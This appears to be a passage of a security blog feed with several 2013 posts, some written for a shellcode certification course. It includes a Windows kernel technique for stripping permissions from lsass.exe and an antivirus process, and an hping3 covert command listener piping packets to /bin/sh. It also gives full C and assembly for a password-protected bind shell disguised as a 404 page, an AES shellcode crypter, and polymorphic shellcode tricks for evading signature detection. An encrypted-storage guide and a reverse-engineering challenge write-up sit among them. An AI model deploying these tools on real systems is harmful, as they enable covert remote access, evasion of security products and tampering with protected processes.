<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs6hWHQiRjmHqonysfFMOsSh5G0hmUmdtBp_5kG-IS8chvAK6OxrgrYvH2-jCg9fQ6FqrU2W4y4wjWMaIHeZLwyGU_YLszg4OYpQf2t9YEMpMQTJqEZJ32lGgnVDFDR5TH2HFuQK_nVf0/s1600/kaspersky2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs6hWHQiRjmHqonysfFMOsSh5G0hmUmdtBp_5kG-IS8chvAK6OxrgrYvH2-jCg9fQ6FqrU2W4y4wjWMaIHeZLwyGU_YLszg4OYpQf2t9YEMpMQTJqEZJ32lGgnVDFDR5TH2HFuQK_nVf0/s1600/kaspersky2.png" height="309" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Access to change permissions</td></tr>
</tbody></table>
<i><span style="font-family: Arial,Helvetica,sans-serif;">This still didn't allow me to kill the avp.exe process, which was my initial goal (not even after removing SSDT hooks) but I'll describe some techniques to do that in the next post.</span></i><br />
<br />
If we try this technique on another important process, lsass.exe, we get the following:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhekLfq_zGGno1TbRLp6cli4qGiJIdc13Q_Ll0XaSr18xdZ7Q5bjwGhiztdjvEKhx7xlFudISQrw5cURrjOUeqAbouXjIJ89Wi-z67oJpdHtOsWBKu5c34_a3yj-otsMci8vpp4hzHc13c/s1600/lsass1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhekLfq_zGGno1TbRLp6cli4qGiJIdc13Q_Ll0XaSr18xdZ7Q5bjwGhiztdjvEKhx7xlFudISQrw5cURrjOUeqAbouXjIJ89Wi-z67oJpdHtOsWBKu5c34_a3yj-otsMci8vpp4hzHc13c/s1600/lsass1.png" height="320" width="265" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Security warning: no permissions assigned. </td></tr>
</tbody></table>
<i>Nice!</i><br />
<br />
<b>2. Play around other processes</b><br />
We can play with this technique in other ways, like for example we can take the address of the permissions of calc.exe (using LiveKD) and assign them to lsass.exe.<br />
We can use this to change permissions for tokens, threads and other types of objects.<br />
<h4>
</h4>
<h4>
</h4>
<h4>
</h4>
<h4>
Resources</h4>
<br />
<ol>
<li><a href="http://j00ru.vexillium.org/blog/04_12_11/Windows_Kernel_Address_Protection.pdf">Windows Security Hardening Through Kernel Address Protection - Mateusz "j00ru" Jurczyk</a> </li>
<li><a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Easy local Windows Kernel exploitation - Cesar Cerrudo </a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff553382%28v=vs.85%29.aspx">Local Kernel-Mode Debugging - MSDN</a></li>
<li><a href="http://technet.microsoft.com/en-gb/sysinternals/bb963901.aspx">Windows Internals 6th Ed.</a></li>
</ol>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-2306593172707135032013-11-01T23:59:00.000+02:002013-11-01T23:59:00.874+02:00Create a hidden command listener by reusing an open port<span style="font-size: large;">Scenario</span>:<br />
- Box A - victim, running a network service on port 8834. We'll reuse this<br />
- Box B - attacker host behind NAT. Will transmit commands to the listener waiting on the victim.<br />
<br />
This is similar to a <i>reverse shell </i>from box A to box B, except that B will need another way to view results of the commands executed on A. <br />
<br />
<b>A</b>:<br />
<pre class="brush:bash">$ sudo hping3 --listen SecretSignature -I vboxnet0 -p 8834 | /bin/sh
</pre>
<br />
<span style="font-family: "Courier New",Courier,monospace;">--listen</span> - Listen mode. Waits for packets containing the signature and dump the data from signature to the end of the packet <br />
<span style="font-family: "Courier New",Courier,monospace;">-I </span>- Interface to listen on<br />
<span style="font-family: "Courier New",Courier,monospace;">-p</span> - listening port<br />
<br />
This will intercept packets and dump the content after a matching signature. Commands will be passed to the shell to be executed. Another trick would be needed to view the output of the commands though.<br />
<b><br /></b>
<b>B</b>:
<br />
<pre class="brush:bash">$ sudo hping3 --count 1 --data 200 --file commands.txt --sign SecretSignature 192.168.56.1 -V -p 8834
</pre>
<br />
<span style="font-family: "Courier New",Courier,monospace;">--count 1</span> - stop after sending 1 packet<br />
<span style="font-family: "Courier New",Courier,monospace;">--data 200</span> - set packet body size in bytes<br />
<span style="font-family: "Courier New",Courier,monospace;">--file </span>- fill packet with data from file<br />
<span style="font-family: "Courier New",Courier,monospace;">--sign </span>- fill first a signature in the packet<br />
<span style="font-family: "Courier New",Courier,monospace;">-V</span> - verbose<br />
<span style="font-family: "Courier New",Courier,monospace;">-p</span> - destination port<br />
<br />
<pre class="brush:bash">$ cat commands.txt
echo 123 > hacked.txt
whoami > log.txt
uname -a >> log.txt
pwd >> log.txt
ls -al >> log.txt
ifconfig -a >> log.txt
</pre>
(<i><b>New line at the end</b></i>, to get the last command executed !)<br />
Verify on victim's A machine that commands have been executed and results saved in the corresponding files. Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-78898482435682599372013-08-07T22:03:00.000+03:002013-08-31T12:30:53.825+03:00Store encrypted files on Google Drive We'll use the Grive Linux client for Google Drive and EncFS to create a '<i>safe</i>' in the cloud, inside Google Drive and mount it locally:<br />
<br />
<b>1. Install Grive</b>
<br />
<pre class="brush:bash">sudo add-apt-repository ppa:nilarimogard/webupd8
sudo apt-get update
sudo apt-get install grive
</pre>
<b>2. How to use</b><br />
Create a working folder :
<br />
<pre class="brush:bash">mkdir ~/grive
cd ~/grive/
</pre>
Initial setup will require an authorization token from Google. Paste the link generated by the following command into the browser, get the token and paste it into the application<br />
<pre class="brush:bash">grive -a
</pre>
Synchronization of all the files in the cloud:
<br />
<pre class="brush:bash">grive
</pre>
<b>3. Create an encrypted safe</b><br />
For this I've used EncFS to create an encrypted filesystem inside the folder for the Google Drive:<br />
<pre class="brush:bash">apt-get install encfs
mkdir -p ~/grive/safe
mkdir -p ~/safe
</pre>
Mount the encrypted safe to a decrypted folder (<b><i>open the safe</i></b>)<i>. </i>If EncFS cannot find a filesystem at the specified location, it will create a new encrypted file system there.<br />
<pre class="brush:bash">encfs ~/grive/safe/ ~/safe/
</pre>
I've used the <b><i>paranoia mode</i></b> for the initial setup - <i>AES-256, PBKDF2, 160 bit salt, External IV Chaining</i> (More details about the settings in the man page).<br />
To verify that it was mounted correctly:<br />
<pre class="brush:bash">df -hT
encfs fuse.encfs 455G 232G 200G 54% /home/liv/safe
</pre>
Test the whole setup:
<br />
<pre class="brush:bash">cd ~/safe/
echo "secret" > test.txt
cat test.txt
secret
ls ~/grive/safe/
pr6KT6wBszfvBqNLIo2pPliZ
</pre>
Unmount the encrypted volume (<b><i>close the safe</i></b>):
<br />
<pre class="brush:bash">sudo fusermount -u ~/safe
</pre>
<br />
<b>Notes</b><br />
<i>1. EncFS uses a file named <b>.encfs6.xml</b> to define the encrypted storage settings.</i> <i>This hidden</i> <i>file is not synchronized by Grive. </i><br />
<i>Solution: get a patched version of Grive or rename</i> <i>the file and store it on Google Drive. </i><br />
<i>After synchronizing Grive on another machine, rename the encfs6.xml file to <b>.</b>encfs6.xml.</i><br />
<i>2. </i>Problem:<br />
<strong>fusermount: failed to open /dev/fuse: Permission denied</strong><br />
Solution:<br />
<strong>usermod -aG fuse <your-username><br />
reboot</your-username></strong><i> </i><br />
<br />
<b>References</b><br />
<a href="http://www.arg0.net/encfs">EncFS Encrypted Filesystem</a><br />
<a href="https://github.com/Grive/grive">Grive</a> - Open source Linux client for Google Drive<br />
<a href="https://github.com/Grive/grive/issues/129">Synchronise hidden files other than .grive*</a> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-50677085470174823872013-08-05T23:39:00.001+03:002013-08-09T15:18:20.341+03:00Reverse Engineering challenge - Coursera Malicious Software course (anti-ptrace)<a href="https://class.coursera.org/malsoftware-001/">Malicious Software</a> course, from <a href="http://www.coursera.org/">Coursera</a>, presented ways of malware to avoid detection and being reverse engineered, and also methods to detect and analyse them. Very interesting, especially the bonus challenge which is a small Linux binary, with some obfuscations protecting a secret.<br />
Now that the course has finished, I can safely share the solution for the Reverse Engineering bonus challenge.<br />
<h4>
</h4>
<h4>
Overview </h4>
The binary has all symbols stripped out and also has some basic anti-debugging techniques in place.
<br />
<pre class="brush:bash;">$ file bonus_reverse-challenge
bonus_reverse-challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2fe5f1647532449ffeef36a7fa31ae8319c8818d, stripped
</pre>
<br />
The <b><i>strings</i></b> command reveals some interesting stuff:
<br />
<pre class="brush:bash; highlight: [20]">$ strings bonus_reverse-challenge
. . .
socket
fflush
exit
htons
connect
puts
printf
mkstemp
read
stdout
inet_addr
close
sleep
write
/tmp
/bti
...
xKZl_^_XCY^CIE
woot!
127.0.0.1
Dude, no debugging ;-)
Are you feeling lucky today?
[+] WooT!: %s
[~] Maybe.
[-] Nope.
</pre>
Some socket operations and file manipulation. Also an ASCII string with some XOR characters (<b>^</b>) in it (hint ?!). Interesting. We can brute force it quickly to see if we get something meaningful out of it:
<br />
<pre class="brush:python;">enc = "xKZl_^_XCY^CIE"
for key in range(0, 127):
print "".join([chr(ord(c)^key) for c in enc])
</pre>
<pre class="brush:bash;">$ ./decr.py
. . .
RapFuturistico
</pre>
<h4>
Analysis</h4>
If we start the application, we get a prompt and no hints about what to do next:
<br />
<pre class="brush:bash;">$ ./bonus_reverse-challenge
Are you feeling lucky today?
</pre>
(The '<b><i>Yes</i></b>' answer is not accepted by the application :) )
<br />
If we try to analyse it in gdb, we encounter another error:
<br />
<pre class="brush:bash; highlight: [5]">$ gdb ./bonus_reverse-challenge
Reading symbols from /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge
Dude, no debugging ;-)
</pre>
If we use the strace tool (same technique also used by gdb) we see exactly what happens:
<br />
<pre class="brush:bash; highlight: [3, 6]">$ strace ./bonus_reverse-challenge
. . .
ptrace(PTRACE_TRACEME, 3215099972, 0xbfa287d4, 0) = -1 EPERM (Operation not permitted)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76fa000
write(1, "Dude, no debugging ;-)\n", 23Dude, no debugging ;-)
</pre>
So the process tries to allow tracing, but as it is already traced (by strace) the ptrace system call returns -1.<br />
This is a classic anti-debugging technique which can by bypassed in multiple ways.<br />
<br />
<h4>
Reverse engineering</h4>
First we have to get rid of the anti-ptrace protection. If we set a breakpoint in gdb at <b>__libc_start_main</b> and we step through some instructions, we find the code responsible for the ptrace system call:
<br />
<pre class="brush:bash;">EBX: 0x00000000 ; Type of request. 0 means PTRACE_TRACEME
=> 0x8048938: mov al,0x1a ; sys_ptrace syscall
0x804893a: int 0x80 ; interrupt to execute syscall
</pre>
<br />
I chose to do a binary patching at this point, as there are only a few instructions which have to be removed to get rid of the ptrace syscall. In assembly the instructions look like this:
<br />
<pre class="brush:bash;"> 8048938: b0 1a mov al, 0x1a
804893a: cd 80 int 0x80
</pre>
We can get the dump of the whole file with
<br />
<pre class="brush:bash;">$ objdump -M intel -d bonus_reverse-challenge
</pre>
We'll overwrite them with nops:
<br />
<pre class="brush:bash;">set *(unsigned long*)0x8048938 = 0x90909090
</pre>
<br />
After some more browsing we find the code responsible with parsing the input from the user. It seems to be a case which calls a function then displays a message based on the first letter of the input string. And there are 3 possibilities:
<br />
<pre class="brush:bash;"> 0x8048a18: movzx eax,BYTE PTR [esp+0x20] ; input string
0x8048a1d: movsx eax,al ; first letter !
0x8048a20: cmp eax,0x42
0x8048a23: je 0x8048a3c
0x8048a25: cmp eax,0x43
0x8048a28: je 0x8048a49
0x8048a2a: cmp eax,0x41
0x8048a2d: jne 0x8048a56
0x8048a2f: mov DWORD PTR [esp+0x22c],0x804872b ; check function for A..
0x8048a3a: jmp 0x8048a58
0x8048a3c: mov DWORD PTR [esp+0x22c],0x8048644 ; check function for B..
0x8048a47: jmp 0x8048a58
0x8048a49: mov DWORD PTR [esp+0x22c],0x80486ca ; check function for C..
0x8048a54: jmp 0x8048a58
</pre>
We test this manually:
<br />
<pre class="brush:bash;">$ ./bonus_reverse-challenge
Are you feeling lucky today? A
[~] Maybe.
$ ./bonus_reverse-challenge
Are you feeling lucky today? B
[-] Nope.
$ ./bonus_reverse-challenge
Are you feeling lucky today? C
[~] Maybe.
</pre>
If we were to believe the developer, we should go for <i>Asomething</i> or <i>Csomething</i> and further analyse.<br />
Let's try <i>Bsomething</i> variant (A... is interesting for analyses also but doesn't get us to the key)<br />
We quickly find references to the encrypted string found initially and a comparing routine, which computes a key and applies XOR to the input string using that key:
<br />
<pre class="brush:bash; highlight: [18, 22]"> 0x8048664: mov DWORD PTR [ebp-0x10],0xfa ; key
0x804866b: pop eax ; input string address
0x804866c: jmp 0x8048685
0x804866e: mov eax,DWORD PTR [ebp-0xc] ; first char of input string
0x8048671: movzx eax,BYTE PTR [eax]
0x8048674: mov edx,DWORD PTR [ebp-0x10]
0x8048677: and edx,0x2b ; key becomes 0x2A
0x804867a: xor edx,eax
0x804867c: mov eax,DWORD PTR [ebp-0xc]
0x804867f: mov BYTE PTR [eax],dl
0x8048681: add DWORD PTR [ebp-0xc],0x1
0x8048685: mov eax,DWORD PTR [ebp-0xc]
0x8048688: movzx eax,BYTE PTR [eax]
0x804868b: test al,al
0x804868d: jne 0x804866e ; loop
0x804868f: mov eax,DWORD PTR [ebp+0x8]
0x8048692: mov edx,eax
0x8048694: mov eax,0x8048bc0 ; "xKZl_^_XCY^CIE"
0x8048699: mov ecx,0xf
0x804869e: mov esi,edx
0x80486a0: mov edi,eax
0x80486a2: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
</pre>
<pre class="brush:plain;">E(M, K) = "xKZl_^_XCY^CIE"
Where:
E - XOR encoding
M - Input message after 'B' character
K - Computed key: 0xFA && 0x2B = 0x2A
</pre>
We reverse the algorithm and get the input message we need:
<br />
<pre class="brush:python;">$ python -c 'print "".join([chr(ord(c)^0x2a) for c in "xKZl_^_XCY^CIE"])'
RapFuturistico
</pre>
So if the input string encodes to the string we found initially, the function returns 1 and we get a nice message:
<br />
<pre class="brush:bash;">$ ./bonus_reverse-challenge
Are you feeling lucky today? BRapFuturistico
[+] WooT!: xKZl_^_XCY^CIE
</pre>
<br />
<i><b>Nice! Many thanks to the authors for putting together the course and the challenge.</b></i><br />
<h4>
</h4>
<h4>
References</h4>
<a href="http://www.julioauto.com/rants/anti_ptrace.htm">Linux Anti-Debugging</a><br />
<a href="http://syscalls.kernelgrok.com/">Linux Syscall reference</a><br />
<a href="http://my.opera.com/taviso/blog/show.dml/248232">Executable patching with GDB</a> Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-5110749938849380105.post-82792792512765523682013-08-04T19:01:00.000+03:002013-08-10T21:33:11.586+03:00Bind TCP Shellcode - with password As with the bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
<br />
<pre class="brush:c">#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
/* receiving password buffer size */
#define BUFSIZE 10
/* Listening port */
#define PORT 8585
/* Password prompt */
char prompt[] = \
"<html>\n"
"<body>\n"
" <h1>Error 404 - Try elsewhere</h1>\n"
"\n"
"</body>\n"
"</html>\n";
char password[] = "s3cr37";
int main() {
int listenfd = 0, connfd = 0;
int ret = 0;
char buffer[BUFSIZE];
struct sockaddr_in serv_addr;
// Create an un-named socket. returns socket descriptor
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
// Listen on the created socket for maximum 1 client connection
listen(listenfd, 1);
// Sleep waiting for client requests
connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
printf("Created accept socket: %d\n", connfd);
// Send fake prompt and wait for the password
ret = send(connfd, prompt, strlen(prompt), 0);
if (-1 == ret) {
printf("Send failed: %s\n", strerror(errno));
return 1;
}
// Read password
ret = recv(connfd, buffer, BUFSIZE, 0);
if (-1 == ret) {
printf("Recv failed: %s\n", strerror(errno));
return 1;
} else {
printf("Received: %s", buffer);
}
// Compare
if (!strncmp(buffer, password, strlen(password))){
printf("Correct password. Opening shell...\n");
} else {
close(listenfd);
close(connfd);
return 1;
}
// Duplicate stdin, stdout, stderr
ret = dup2(connfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
</pre>
If we supply the correct password we get the shell:
<br />
<pre class="brush:bash">$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw &
[1] 4528
Created accept socket: 5
Received: s3cr37
Ź� Correct password. Opening shell...
$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open
<html>
<body>
<h1>
Error 404 - Try elsewhere</h1>
</body>
</html>
s3cr37
whoami
liv
</pre>
<br />
The next step is to reproduce these system calls in assembly and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:<br />
<pre class="brush:asm">global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; listenfd is returned in eax. Save into edx
; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
; sin_addr=inet_addr("0.0.0.0")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
xor ecx, ecx ; Construct sockaddr structure on the stack
push ecx ; inet_addr - 0.0.0.0 - INADDR_ANY
push word 0x8921; 16 bits - port number (8585 decimal)
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; listenfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 2 ; socketcall type of call: SYS_BIND (2)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. listen(listenfd, 1)
push 1 ; max connections
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 4
pop ebx ; SYS_LISTEN (4)
push 102
pop eax ; socketcall syscall
int 0x80
; 4. accept(listenfd, 0, NULL) = connfd
xor ecx, ecx
push ecx ; NULL
push ecx ; 0
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 5
pop ebx ; SYS_ACCEPT = 5
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
mov edx, eax ; save new connection descriptor
; 5. recv(connfd, buffer, BUFSIZE, 0)
; recv(int sockfd, void *buf, size_t len, int flags);
xor ecx, ecx
push ecx ; flags (0)
push 0xa ; buffer size
lea ecx, [esp + 8]
push ecx ; addres of buffer
mov edi, ecx ; save address of buffer for further comparison
push edx ; sockfd
mov ecx, esp ; ECX - params of socket call
push 10
pop ebx ; EBX - type of socketcall - SYS_RECV (10)
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
; 6. compare password
mov ecx, 6 ; passwd len
; pass: s3cr37 - 73 33 63 72 33 37
push 0xAAAA3733
push 0x72633373
mov esi, esp
; address of buffer is already saved in edi
repe cmpsb
jz correct_pass
; exit()
xor eax, eax
mov al, 1
xor ebx, ebx
mov bl, 7
int 0x80
correct_pass:
; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
</pre>
<br />
The complete source files, wrapper script and test shellcode can be found in a git repository at:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-43899052336489091442013-08-04T18:59:00.000+03:002013-08-04T18:59:26.556+03:00AES Shellcode crypterThis is the last assignment of SLAE: building a shellcode crypter. Thanks Vivek and the team at SecurityTube for the course!<br />
<ul>
<li>I chose to do the encryption using python-crypto library. I used AES-128, in CBC mode with PKCS5 padding</li>
<li>I did the decryption of the shellcode using the easily integrable <a href="https://polarssl.org/%E2%80%8E">PolarSSL</a> AES source code</li>
</ul>
The encryption password is provided on the command line, then the python script hard-codes it in the decrypter and builds it. For exemplify I've used the execve-stack shellcode:
<br />
<pre class="brush:bash">$ ./encrypt_payload_polar.py
Usage:
./encrypt_payload_polar.py [passphrase]
$ ./encrypt_payload_polar.py s3cr37
[+] Shellcode (len 32):
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
[+] Key:
"\xe8\xca\xa8\xd3\x69\x22\xbe\x22\xf3\x2e\x08\x30\x11\xc0\xef\xbc"
[+] IV:
"\x07\xb0\x24\x02\x5b\x00\x68\xfc\x34\x30\x5e\x42\x64\x24\x39\x99"
[+] Encrypted shellcode (len 134):
"\x0d\x18\x30\xe5\xca\x14\x13\x3d\x5e\xb2\xfa\xeb\x60\x1d\x51\x9b"
"\x24\x74\x64\xd7\x17\x9f\x32\xdf\xbf\x36\xf4\x91\x9c\x03\x09\xfb"
[+] Compiling:
-> gcc -Wall -z execstack -o encrypted_shellcode temp.c PolarSSL/aes.c PolarSSL/md5.c
-> strip --strip-all encrypted_shellcode
-> rm temp.c
[*] Done.
$ ./encrypted_shellcode
#
</pre>
<br />
The encrypter/decrypter uses the password to generate a 128 bits key, by hashing the password.<br />
The PolarSSL is extremely easy to integrate and use, compared with the OpenSSL, and the generated binary is also much smaller as only AES and MD5 functions are linked in. Here's a snippet of the decrypter code that does the main bits:
<br />
<pre class="brush:c"> unsigned char key[16];
unsigned char iv[16] =
"\xb4\x9d\x64\x10\xa8\x3b\x1b\xa9\x29\xc4\x4b\x09\xfe\x2c\xd3\x56";
unsigned char input[] =
"\x24\x06\xa6\xe4\x5d\xc4\xc0\x0e\x36\x7d\x05\x5a\xfe\xc1\x07\x0c"
"\x31\x48\xef\x06\x0f\x09\x84\x98\x03\x3e\x04\x1e\x08\x6d\xb2\xe3";
size_t input_len = 32;
unsigned char output[32];
unsigned char passw[] = "s3cr37";
size_t in_len = 6;
/* Generate a 128 bits key from the password */
md5_context md5_ctx;
md5_starts(&md5_ctx);
md5_update(&md5_ctx, passw, in_len);
md5_finish(&md5_ctx, key);
/* Decrypt the payload */
aes_context aes;
aes_setkey_dec(&aes, key, 128);
aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);
/* Execute decrypted shellcode */
((void (*)()) output)();
</pre>
<br />
<br />
The python script uses a template of the decrypter and
fills in the encrypted shellcode, the lengths, IV and key and then
generates the encrypted binary. Below is a snippet of the main function:
<pre class="brush:python">
def make_binary(password):
sc_len = len(pad(shellcode))
print_done("[+] Shellcode (len %d):" % (sc_len))
print "%s" % (to_hex(shellcode))
# Generate a secret key and random IV
h = MD5.new()
h.update(password)
key = h.digest()
str_key = to_hex(key)
print_done("[+] Key:")
print "%s" % str_key
# Generate random IV
iv = os.urandom(BS)
str_iv = to_hex(iv) #"\"%s\"" % "".join(["\\x%02x" % ord(c) for c in iv])
print_done("[+] IV:")
print "%s" % str_iv
# Create a cipher object using the random secret
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode))
str_enc = to_hex(enc)
print_done("[+] Encrypted shellcode (len %d):" % (len(str_enc)))
print "%s" % (str_enc)
outline = open(decrypt_shell).read()
code = outline % (str_iv, str_enc, sc_len, sc_len, password, len(password))
# Write to temporary source file
o = open(temp_src, "w")
o.write(code)
o.close()
# Compile
compile_cmd = "gcc -Wall -z execstack -o %s %s PolarSSL/aes.c PolarSSL/md5.c" % \
(out_file, temp_src)
print_done("[+] Compiling:")
print " -> %s" % compile_cmd
os.system(compile_cmd)
# Strip all symbols
strip_cmd = "strip --strip-all %s" % (out_file)
print " -> %s" % (strip_cmd)
os.system(strip_cmd)
# Delete intermediate files
clean_cmd = "rm %s" % (temp_src)
print " -> %s" % (clean_cmd)
os.system(clean_cmd)
print_ok("\n[*] Done. Run ./%s" % (out_file))
</pre>
<br />
The complete source files and scripts mentioned in this post can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-5110749938849380105.post-14924720595351193022013-08-04T18:54:00.000+03:002013-08-04T18:54:00.779+03:00Polymorphic shellcodes For this assignment I've taken 3 shellcodes from Shell-Storm and modify them to avoid pattern matching. Some techniques I've used to do this:<br />
<ul>
<li>Add garbage/nop-like instructions
<pre class="brush:asm">nop
mov al,al
mov bl,bl
mov cl,cl
...
mov ax,ax
mov bx,bx
mov cx,cx
...
xchg ax,ax
xchg bx,bx
xchg cx,cx
...
lea eax, [eax + 0x00]
lea eax, [eax + 0x00]
lea eax, [eax + 0x00]
</pre>
</li>
<li>Add instructions without effect (e.g.: modify registers that don't affect the execution flow)</li>
<li>Switch between mov, (push + pop), (clear + add)
<table border="1">
<thead>
<tr>
<th>mov</th>
<th>push + pop</th>
<th>clear + add</th>
</tr>
</thead>
<tbody>
<tr>
<td>mov al, 0xb</td>
<td>push byte 0xb</td>
<td>xor eax, eax</td>
</tr>
<tr>
<td></td>
<td>pop eax</td>
<td>add al, 0xb</td>
</tr>
</tbody></table>
</li>
<li>Switch between push and (mov + add + push)
<table border="1">
<thead>
<tr>
<th>push</th>
<th>mov + add + push</th>
</tr>
</thead>
<tbody>
<tr>
<td>push 0x23456789</td>
<td>mov esi, 0x12345678</td>
</tr>
<tr>
<td></td>
<td>add esi, 0x11111111</td>
</tr>
<tr>
<td></td>
<td>push esi</td>
</tr>
</tbody></table>
</li>
<li>Change between push and directly accessing the stack
<table border="1">
<thead>
<tr>
<th>push</th>
<th>stack access</th>
</tr>
</thead>
<tbody>
<tr>
<td>push 0x64777373</td>
<td>mov dword [esp-4], 0x64777373</td>
</tr>
<tr>
<td></td>
<td>sub esp, 4</td>
</tr>
</tbody></table>
</li>
</ul>
<h4>
Execve()</h4>
First one is a polymorphic version of the execve() of the following <a href="http://shell-storm.org/shellcode/files/shellcode-549.php">shellcode</a>:
<br />
<pre class="brush:asm"> 00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 31C9 xor ecx,ecx
00000006 B017 mov al,0x17
00000008 CD80 int 0x80
0000000A 31C0 xor eax,eax
0000000C 50 push eax
0000000D 686E2F7368 push dword 0x68732f6e
